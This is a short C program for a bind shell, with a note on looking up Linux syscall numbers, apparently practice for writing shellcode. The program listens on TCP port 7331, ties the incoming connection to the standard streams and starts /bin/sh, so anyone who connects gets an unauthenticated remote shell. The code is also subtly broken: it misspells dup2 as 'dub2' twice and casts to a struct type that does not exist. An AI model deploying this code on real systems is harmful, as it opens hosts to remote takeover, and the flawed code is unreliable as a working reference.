#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>

int main(void){
    int myClientFD, mySockFD;
    int myPort = 7331;
    struct sockaddr_in mySockAddr;
    mySockFD = socket(AF_INET,SOCK_STREAM,0);

    mySockAddr.sin_family = AF_INET;
    mySockAddr.sin_port = htons(myPort);

    mySockAddr.sin_addr.s_addr = INADDR_ANY;

    bind(mySockFD,(struct mySockAddr *) &mySockAddr,sizeof(mySockAddr));
    listen(mySockFD,1);

    myClientFD = accept(mySockFD,NULL,NULL);

    dup2(myClientFD, 0);  
    dub2(myClientFD, 1);
    dub2(myClientFD, 2);

    char * const argv[] = {"sh",NULL,NULL};
    execve("/bin/sh", argv,NULL);
    return 0;
}



**********************

Get syscall number
cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep socket